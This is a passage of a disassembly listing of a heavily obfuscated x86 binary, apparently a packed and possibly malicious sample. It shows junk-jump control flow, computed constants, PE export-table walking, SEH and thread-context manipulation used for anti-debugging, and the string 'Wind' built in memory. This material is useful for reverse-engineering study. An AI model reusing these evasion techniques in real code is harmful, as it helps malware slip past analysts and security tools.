; START OF FUNCTION CHUNK FOR sub_422973
loc_4217A2: ; CODE XREF: sub_422973+91BBj
jmp loc_428F91
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
locret_4217A7: ; CODE XREF: _94j21ax3:loc_426A44j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_4217A8: ; CODE XREF: sub_424C37+3AA0j
jmp loc_423166
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_4217AD: ; CODE XREF: sub_421F28+275Fj
jmp loc_4285BA
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B358
loc_4217B2: ; CODE XREF: sub_42B358:loc_4295C0j
push 0E4062947h
pop edi
rol edi, 5
xor edi, 2BC80E9Eh
js loc_422C52
push edx
jmp loc_422C4D
; END OF FUNCTION CHUNK FOR sub_42B358
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424627
loc_4217CD: ; CODE XREF: _94j21ax3:loc_422E2Fj
; sub_424627+4C54j
pop ebx
mov ecx, offset sub_4217DC
xchg ecx, [esp-4+arg_0]
retn
; END OF FUNCTION CHUNK FOR sub_424627
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_4217D7: ; CODE XREF: sub_42A7A6-6F24j
jmp loc_422420
; END OF FUNCTION CHUNK FOR sub_42A7A6
; =============== S U B R O U T I N E =======================================
sub_4217DC proc near ; DATA XREF: sub_424627-2E59o
pop eax
pop ebp
jmp loc_426485
sub_4217DC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
pushf
mov [esp], ebp
jmp loc_42184D
; ---------------------------------------------------------------------------
and esi, edx
jmp sub_4251F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_4217F3: ; CODE XREF: sub_42C0BC:loc_425522j
mov eax, large fs:20h
or eax, eax
jz loc_42A403
jmp loc_42C163
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
cmp ecx, 0D87DDF0Dh
jmp loc_429729
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_421812: ; CODE XREF: sub_423324:loc_423385j
xchg edx, eax
js loc_42A434
push ecx
test edx, ebp
jmp loc_421CFE
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_421822 proc near ; CODE XREF: _94j21ax3:00426BE4j
; _94j21ax3:004270E0p
; FUNCTION CHUNK AT 00423ED1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427F34 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042B8AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C02B SIZE 00000007 BYTES
xchg edx, [esp+0]
pop edx
or eax, eax
jnz loc_42B826
jmp loc_42B8AB
sub_421822 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
popf
mov eax, edx
jmp sub_42BDF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42183B: ; CODE XREF: sub_42B9CF-91CBj
; sub_42B9CF:loc_425878j ...
push edx
push 0B5B36346h
pop edx
sub edx, 3344F9EFh
jmp loc_42C4B1
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
loc_42184D: ; CODE XREF: _94j21ax3:004217E7j
mov ebp, esp
push offset loc_42B699
jmp loc_425ACB
; ---------------------------------------------------------------------------
locret_421859: ; CODE XREF: _94j21ax3:0042725Bj
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_42185A: ; CODE XREF: sub_4259BF+4FE1j
add dword ptr [esp+0], 9C6D6C5Dh
call sub_42A61F
push ebx
mov [esp+4+var_4], eax
call dword ptr [ebp-4]
jmp loc_42866A
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428A90
loc_421872: ; CODE XREF: sub_428A90:loc_428A9Ej
add edi, eax
loc_421874: ; CODE XREF: sub_421D33:loc_42C560j
pop eax
mov [edi], eax
pop edi
push offset loc_427243
jmp nullsub_60
; END OF FUNCTION CHUNK FOR sub_428A90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_421882: ; CODE XREF: sub_421F28+25C4j
sub eax, 0FBF9FB9Dh
xor eax, 0A57B653Ch
add eax, ebp
add eax, 698C83B4h
call sub_4288EE
; END OF FUNCTION CHUNK FOR sub_421F28
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D53
loc_42189C: ; CODE XREF: sub_427D53+Dj
jmp loc_42ABE1
; END OF FUNCTION CHUNK FOR sub_427D53
; ---------------------------------------------------------------------------
or edi, 3925B78Fh
cmp ebp, 0A1699B80h
jmp loc_426D9E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4218B3: ; CODE XREF: sub_42B314-75CCj
; sub_422EB0:loc_427636j
jno loc_42C116
jmp loc_4299AB
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4218BE: ; CODE XREF: sub_4294B3:loc_425077j
cmp dword ptr [ebp-4], 2
jnz loc_4299AB
lea eax, [ebp-26Fh]
jmp loc_42958A
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4218D3: ; CODE XREF: sub_422EB0+8B1Aj
jz loc_426A00
jmp loc_4295E8
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4218DE: ; CODE XREF: sub_4294B3:loc_422823j
jnz loc_425077
jmp loc_42BACD
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
loc_4218E9: ; CODE XREF: _94j21ax3:0042A1D1j
test ecx, edx
jmp loc_42755F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421644
loc_4218F0: ; CODE XREF: sub_421644+Dj
sub [esp+8+var_8], 24046235h
push 0
call sub_42446B
push eax
mov eax, esp
loc_421901: ; CODE XREF: _94j21ax3:loc_424F89j
push offset loc_427B14
jmp loc_425600
; END OF FUNCTION CHUNK FOR sub_421644
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42983E
loc_42190B: ; CODE XREF: sub_42983E-5DA1j
jnp loc_428E2D
add ebp, ebx
loc_421913: ; CODE XREF: sub_4248E7:loc_42B793j
push ecx
push 426D4F71h
pop ecx
jmp loc_428BD9
; END OF FUNCTION CHUNK FOR sub_42983E
; =============== S U B R O U T I N E =======================================
sub_42191F proc near ; CODE XREF: sub_421CAA:loc_4280CEp
; FUNCTION CHUNK AT 00427DBF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042BC50 SIZE 00000011 BYTES
call sub_423F7F
loc_421924: ; CODE XREF: sub_42426B+3FEEj
jmp loc_427DBF
sub_42191F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A389
loc_421929: ; CODE XREF: sub_42A389-5976j
jmp locret_423384
; END OF FUNCTION CHUNK FOR sub_42A389
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421DC4
loc_42192E: ; CODE XREF: sub_421DC4+3D3j
jmp loc_42A12D
; END OF FUNCTION CHUNK FOR sub_421DC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_421933: ; CODE XREF: sub_42C5E8-B45Ej
; sub_4294B3-2BD3j ...
jno loc_4216F7
call sub_42C057
test al, al
jz loc_423950
jmp loc_4257B7
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_42194B proc near ; CODE XREF: sub_42A7A6-F6p
; _94j21ax3:0042B800j
mov [esp+0], edi
pop edi
mov eax, [ebp-8]
push offset loc_4215F5
jmp nullsub_13
sub_42194B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42195C: ; CODE XREF: sub_423FCD-12C1j
push offset sub_4269DD
jmp loc_42275F
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
loc_421966: ; CODE XREF: _94j21ax3:00422702j
jle loc_424905
; =============== S U B R O U T I N E =======================================
sub_42196C proc near ; CODE XREF: sub_428B74+9p
xchg ecx, [esp+0]
pop ecx
push 7CDEE58Bh
mov [esp+0], ecx
mov esp, ebp
pop ebp
jmp loc_421A5E
sub_42196C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422790
loc_421980: ; CODE XREF: sub_422790:loc_42AB2Bj
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
test byte ptr [eax-7], 10h
jz loc_42B8D6
jmp loc_421A79
; END OF FUNCTION CHUNK FOR sub_422790
; ---------------------------------------------------------------------------
db 5Ah, 0F0h, 6Dh
dword_421998 dd 80D1DF75h ; DATA XREF: sub_428B5Er sub_429D05+3w
dword_42199C dd 0EB03C3BEh ; DATA XREF: _94j21ax3:loc_42BBBDr
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4219A0: ; CODE XREF: sub_42284F+695Bj
jmp loc_42B601
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428811
loc_4219A5: ; CODE XREF: sub_428811+18j
jmp nullsub_58
; END OF FUNCTION CHUNK FOR sub_428811
; ---------------------------------------------------------------------------
dw 16Fh
dword_4219AC dd 0C144EFBAh ; DATA XREF: _94j21ax3:loc_429F1Cw
; sub_42AADB+5r
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4246B9
loc_4219B0: ; CODE XREF: sub_4246B9+6F5Ej
jmp nullsub_222
; END OF FUNCTION CHUNK FOR sub_4246B9
; ---------------------------------------------------------------------------
db 1Ah, 55h, 5Eh
dword_4219B8 dd 0B0EFBACh ; DATA XREF: _94j21ax3:00429FFBw
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423284
loc_4219BC: ; CODE XREF: sub_423284+768j
jmp nullsub_150
; END OF FUNCTION CHUNK FOR sub_423284
; ---------------------------------------------------------------------------
db 0D3h, 26h, 0E6h
dword_4219C4 dd 58061DF7h ; DATA XREF: sub_4231CD+7F70w
; ---------------------------------------------------------------------------
push ebp
jmp loc_423D85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424D8C
loc_4219CE: ; CODE XREF: sub_424D8C+Fj
push edi
push 0B85FE547h
pop edi
sub edi, 22F7BD46h
xor edi, 0B593B652h
jmp loc_423189
; END OF FUNCTION CHUNK FOR sub_424D8C
; ---------------------------------------------------------------------------
loc_4219E6: ; DATA XREF: sub_4291BC-7650o
cmp eax, [ebp-8]
jnz loc_4223A0
mov eax, [ebp-14h]
mov eax, [eax+24h]
add eax, [ebp-4]
jmp loc_42C4C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4219FD: ; CODE XREF: sub_423324+10E0j
add eax, 232B0CF4h
mov eax, [eax]
push eax
jmp loc_422080
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_421A0B: ; CODE XREF: sub_42134B+A34j
mov dword ptr [eax], 646E6957h
jmp loc_424CC8
; END OF FUNCTION CHUNK FOR sub_42134B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427A68
loc_421A16: ; CODE XREF: sub_427A68-4AF9j
; sub_427A68:loc_4246DFj
call nullsub_6
retn
; END OF FUNCTION CHUNK FOR sub_427A68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_421A1C: ; CODE XREF: sub_42169F:loc_4269CBj
call sub_42C057
test al, al
jz loc_42669A
jmp loc_42B7E4
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_421A2E: ; CODE XREF: sub_42C0BC-3F1Cj
ror ecx, 2
loc_421A31: ; CODE XREF: sub_42C0BC:loc_427B09j
pop large dword ptr fs:0
add esp, 4
mov eax, 50h
call sub_425A09
call sub_42C364
; END OF FUNCTION CHUNK FOR sub_42C0BC
; START OF FUNCTION CHUNK FOR sub_421EAD
loc_421A4A: ; CODE XREF: sub_421EAD+Bj
jmp nullsub_32
; END OF FUNCTION CHUNK FOR sub_421EAD
; =============== S U B R O U T I N E =======================================
sub_421A4F proc near ; CODE XREF: _94j21ax3:00422456j
; sub_42773C:loc_4266EBp
; FUNCTION CHUNK AT 00421362 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426412 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042AE45 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B879 SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
jnz loc_42AE45
loc_421A59: ; CODE XREF: _94j21ax3:loc_4287B9j
call sub_428EBB
loc_421A5E: ; CODE XREF: sub_42196C+Fj
jmp loc_426412
sub_421A4F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_421A63: ; CODE XREF: sub_423324:loc_427EB3j
; sub_423324+70B9j
call sub_42574E
mov edx, 9E849D81h
call sub_4239A5
xchg eax, ebp
call sub_42237C
loc_421A79: ; CODE XREF: sub_422790-E00j
jmp loc_42B8C2
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D65
loc_421A7E: ; CODE XREF: sub_427D65-3599j
shl ecx, 18h
cdq
jmp loc_424298
; END OF FUNCTION CHUNK FOR sub_427D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC2D
loc_421A87: ; CODE XREF: sub_42AC2D:loc_42657Aj
jz loc_424940
cmp eax, 0FFFFFFFFh
call sub_42BC93
loc_421A95: ; CODE XREF: sub_42134B+88ACj
jmp loc_423A7D
; END OF FUNCTION CHUNK FOR sub_42AC2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA07
loc_421A9A: ; CODE XREF: sub_42AA07-7794j
jmp nullsub_119
; END OF FUNCTION CHUNK FOR sub_42AA07
; =============== S U B R O U T I N E =======================================
sub_421A9F proc near ; DATA XREF: sub_426C2E+5o
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 00427C64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C0A3 SIZE 00000004 BYTES
mov ecx, [esp+arg_C]
mov dword ptr [ecx], 10001h
lea eax, loc_42C0AC
mov [ecx+0B8h], eax
jmp loc_427C64
sub_421A9F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_421ABA: ; CODE XREF: _94j21ax3:00422BA1j
rol edx, 12h
; =============== S U B R O U T I N E =======================================
sub_421ABD proc near ; CODE XREF: sub_428F65:loc_4256F8p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004291AF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A703 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B8B7 SIZE 00000005 BYTES
xchg edi, [esp+0]
pop edi
add eax, 0D3055A30h
add eax, ebp
add eax, 0D4851387h
call sub_421799
xchg ebp, [esp-4+arg_0]
jmp loc_42A703
sub_421ABD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421480
loc_421ADC: ; CODE XREF: sub_421480:loc_425267j
rol edx, 5
call sub_428A90
loc_421AE4: ; CODE XREF: sub_422EB0:loc_42A592j
jmp loc_4233B7
; END OF FUNCTION CHUNK FOR sub_421480
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_421AE9: ; CODE XREF: sub_422392+7F02j
jmp loc_4241A8
; END OF FUNCTION CHUNK FOR sub_422392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423C51
loc_421AEE: ; CODE XREF: sub_423C51+Fj
jmp loc_427766
; END OF FUNCTION CHUNK FOR sub_423C51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422764
loc_421AF3: ; CODE XREF: sub_422764:loc_429E6Fj
pop ebp
xor eax, eax
jmp loc_42AEAD
; END OF FUNCTION CHUNK FOR sub_422764
; ---------------------------------------------------------------------------
loc_421AFB: ; CODE XREF: _94j21ax3:loc_42A41Bj
add eax, 7D0h
mov [ebp-8], eax
push 2
push 0
push 0
lea eax, [ebp-4]
jmp loc_424763
; ---------------------------------------------------------------------------
loc_421B11: ; CODE XREF: _94j21ax3:0042793Dj
xor edi, edx
; START OF FUNCTION CHUNK FOR sub_423324
loc_421B13: ; CODE XREF: sub_423324:loc_429A4Bj
add ecx, 0A55F5E5Dh
xchg ecx, [esp+8+var_8]
jmp sub_429CAE
; END OF FUNCTION CHUNK FOR sub_423324
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428EDA
loc_421B22: ; CODE XREF: sub_428EDA:loc_428EE8j
mov dword ptr [ecx], 10001h
lea eax, loc_42C0AC
mov [ecx+0B8h], eax
pop ecx
jmp loc_421F62
; END OF FUNCTION CHUNK FOR sub_428EDA
; =============== S U B R O U T I N E =======================================
sub_421B3A proc near ; CODE XREF: sub_423324+50j
; _94j21ax3:00425299p
; FUNCTION CHUNK AT 00427100 SIZE 00000003 BYTES
mov [esp+0], edi
pop edi
push ebx
mov [esp+0], eax
call sub_423505
loc_421B47: ; DATA XREF: sub_426985+4947o
movzx eax, word ptr [eax]
shl eax, 2
mov edx, [ebp-14h]
mov edx, [edx+1Ch]
add edx, [ebp-4]
add eax, edx
mov eax, [eax]
add eax, [ebp-4]
jmp loc_427100
sub_421B3A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4291BC
loc_421B62: ; CODE XREF: sub_4291BC+Ej
mov eax, [eax]
loc_421B64: ; CODE XREF: _94j21ax3:loc_4216CAj
add eax, [ebp-4]
call sub_421EAD
push offset loc_4219E6
jmp loc_4296D1
; END OF FUNCTION CHUNK FOR sub_4291BC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421B77: ; CODE XREF: sub_42284F+25Fj
jmp loc_422EC0
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
ror esi, 17h
jnp locret_4251A1
jmp sub_429550
; ---------------------------------------------------------------------------
and ecx, esi
jmp sub_42A4F4
; ---------------------------------------------------------------------------
mov [ecx], ebx
jmp loc_429F3D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421B98: ; CODE XREF: sub_42284F:loc_42AF84j
push edi
call sub_4221B8
; END OF FUNCTION CHUNK FOR sub_42284F
; START OF FUNCTION CHUNK FOR sub_424B01
loc_421B9E: ; CODE XREF: sub_424B01:loc_424B15j
jmp loc_4299E5
; END OF FUNCTION CHUNK FOR sub_424B01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_421BA3: ; CODE XREF: sub_422EB0+6403j
mov edx, [edx+1Ch]
add edx, [ebp-4]
add eax, edx
mov eax, [eax]
add eax, [ebp-4]
call sub_4248E7
; END OF FUNCTION CHUNK FOR sub_422EB0
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_421BB5: ; CODE XREF: sub_4249A9+68Ej
push eax
loc_421BB6: ; CODE XREF: sub_4249A9:loc_426DB5j
lea eax, [ebp-24h]
call sub_422A20
; END OF FUNCTION CHUNK FOR sub_4249A9
; START OF FUNCTION CHUNK FOR sub_42771C
loc_421BBE: ; CODE XREF: sub_42771C+6j
jmp loc_4231D7
; END OF FUNCTION CHUNK FOR sub_42771C
; ---------------------------------------------------------------------------
db 0Fh
dd 0E328Ah, 0A2B6E900h, 0E0810000h, 717A51Bh, 9C7DE9h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_421BD9: ; CODE XREF: sub_4259BF-3246j
push eax
xchg ebp, [esi]
jmp loc_4265F4
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_421BE1: ; CODE XREF: sub_425934:loc_426BC9j
; _94j21ax3:00426BDCj
add eax, 38E91D29h
mov eax, [eax]
or eax, eax
jnz loc_42B144
jmp loc_427926
; END OF FUNCTION CHUNK FOR sub_425934
; =============== S U B R O U T I N E =======================================
sub_421BF6 proc near ; DATA XREF: sub_4272E9-46CFo
var_4 = dword ptr -4
push edx
push 0C954C05Ah
pop edx
rol edx, 4
add edx, 6AB3FA54h
xchg edx, [esp+4+var_4]
push ecx
pushf
jmp loc_42852F
sub_421BF6 endp
; ---------------------------------------------------------------------------
push eax
ror eax, 0Eh
loc_421C14: ; CODE XREF: _94j21ax3:0042AC92j
mov ds:dword_42C220, eax
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7FC
loc_421C1B: ; CODE XREF: sub_42A7FC+19j
jmp loc_4287CE
; END OF FUNCTION CHUNK FOR sub_42A7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429CAE
loc_421C20: ; CODE XREF: sub_429CAE-6623j
jmp loc_428F8C
; END OF FUNCTION CHUNK FOR sub_429CAE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_421C25: ; CODE XREF: sub_42982D:loc_424B49j
rol eax, 0Eh
jmp loc_428313
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_421C2D: ; CODE XREF: sub_42A7A6:loc_422F1Ej
jnz loc_423871
jmp loc_4220F0
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_421C38: ; CODE XREF: sub_42C1AE:loc_421F65j
ja loc_428A5D
jmp loc_426650
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B71E
loc_421C43: ; CODE XREF: sub_42B71E+14j
sbb eax, eax
neg eax
push ecx
push 58187DDCh
pop ecx
or ecx, 5149280h
and ecx, 631A85Fh
xor ecx, 81A663CFh
jmp loc_428F17
; END OF FUNCTION CHUNK FOR sub_42B71E
; =============== S U B R O U T I N E =======================================
sub_421C65 proc near ; CODE XREF: _94j21ax3:00429075j
; _94j21ax3:loc_4293DBp
xchg esi, [esp+0]
pop esi
pop edx
locret_421C6A: ; CODE XREF: _94j21ax3:004293F0j
retn
sub_421C65 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B772
loc_421C6B: ; CODE XREF: sub_42B772+Aj
jmp loc_428BDE
; END OF FUNCTION CHUNK FOR sub_42B772
; ---------------------------------------------------------------------------
aLerEIeLeLxSmd db '‹Eà+E؉EÜ‹EÜ‹å]ém¤',0 ; DATA XREF: sub_4288D4:loc_4288E4o
align 4
; =============== S U B R O U T I N E =======================================
sub_421C84 proc near ; CODE XREF: _94j21ax3:loc_422AE8j
; sub_423D09+6p ...
; FUNCTION CHUNK AT 0042124E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00423E77 SIZE 0000000B BYTES
xchg ebx, [esp+0]
pop ebx
push ecx
call sub_42510A
loc_421C8E: ; CODE XREF: _94j21ax3:00426FC4j
jmp loc_42124E
sub_421C84 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_421C93: ; CODE XREF: sub_42AE5A:loc_4291E7j
jz loc_421154
; END OF FUNCTION CHUNK FOR sub_42AE5A
; START OF FUNCTION CHUNK FOR sub_42C057
loc_421C99: ; CODE XREF: sub_42C057-112Fj
jmp loc_4248C8
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_421C9E: ; CODE XREF: sub_42B856-6ECAj
jmp loc_422B44
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
sbb edi, ecx
jmp loc_42114E
; =============== S U B R O U T I N E =======================================
sub_421CAA proc near ; CODE XREF: sub_425790:loc_4225F9p
; _94j21ax3:00423841j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004225C2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042325F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426B97 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042734A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004280C7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042998B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A327 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B110 SIZE 00000008 BYTES
xchg edx, [esp+0]
pop edx
rol eax, 3
call sub_424467
loc_421CB6: ; CODE XREF: _94j21ax3:0042212Dj
jmp loc_426B97
sub_421CAA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_421CBB: ; CODE XREF: sub_42B9CF-7F41j
ja loc_423972
mov [ebx], esi
adc edi, 0C7A9468Bh
jmp loc_42B1EC
; END OF FUNCTION CHUNK FOR sub_42B9CF
; =============== S U B R O U T I N E =======================================
sub_421CCE proc near ; CODE XREF: _94j21ax3:00422E4Fj
; sub_423717+16p
mov [esp+0], edx
pop edx
pop ecx
pop ecx
pop ebp
retn
sub_421CCE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_421CD6: ; CODE XREF: sub_421402+9512j
jmp loc_4264DC
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_421CDB: ; CODE XREF: sub_42C057-5192j
jmp loc_428288
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423717
loc_421CE0: ; CODE XREF: sub_4284C0-74BEj
; sub_427849-4B32j ...
mov al, 1
jmp loc_427A63
; END OF FUNCTION CHUNK FOR sub_423717
; ---------------------------------------------------------------------------
sbb ebp, ebx
jmp loc_42BCFD
; ---------------------------------------------------------------------------
loc_421CEE: ; CODE XREF: _94j21ax3:loc_42482Fj
jl loc_4244FE
not edx
push edx
and eax, ecx
jmp loc_4244FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_421CFE: ; CODE XREF: sub_423324-1B07j
jl loc_42C2FD
loc_421D04: ; CODE XREF: sub_42BD03:loc_429CBFj
; sub_421689:loc_42A2F8j ...
jmp loc_42A947
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_421D09: ; CODE XREF: sub_421689+9Cj
; sub_42BD03:loc_42B3BFj
push offset loc_424512
jmp loc_42A18D
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A36A
loc_421D13: ; CODE XREF: sub_42A36A+6j
push ecx
; END OF FUNCTION CHUNK FOR sub_42A36A
; START OF FUNCTION CHUNK FOR sub_429862
loc_421D14: ; CODE XREF: sub_429862:loc_427618j
mov esp, ebp
call sub_42AADB
loc_421D1B: ; CODE XREF: sub_42A709-2A2Fj
jmp loc_425058
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425808
loc_421D20: ; CODE XREF: sub_425808-2B86j
jmp loc_4239E7
; END OF FUNCTION CHUNK FOR sub_425808
; ---------------------------------------------------------------------------
test al, al
jz loc_421E28
call sub_421D33
retn
; =============== S U B R O U T I N E =======================================
sub_421D33 proc near ; CODE XREF: _94j21ax3:00421D2Dp
; sub_424839:loc_4245C0p ...
var_28 = dword ptr -28h
; FUNCTION CHUNK AT 0042157B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421F05 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004220A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422495 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00422E3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042344C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004239C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423EDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004241F4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004249A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424DAB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004255DC SIZE 00000019 BYTES
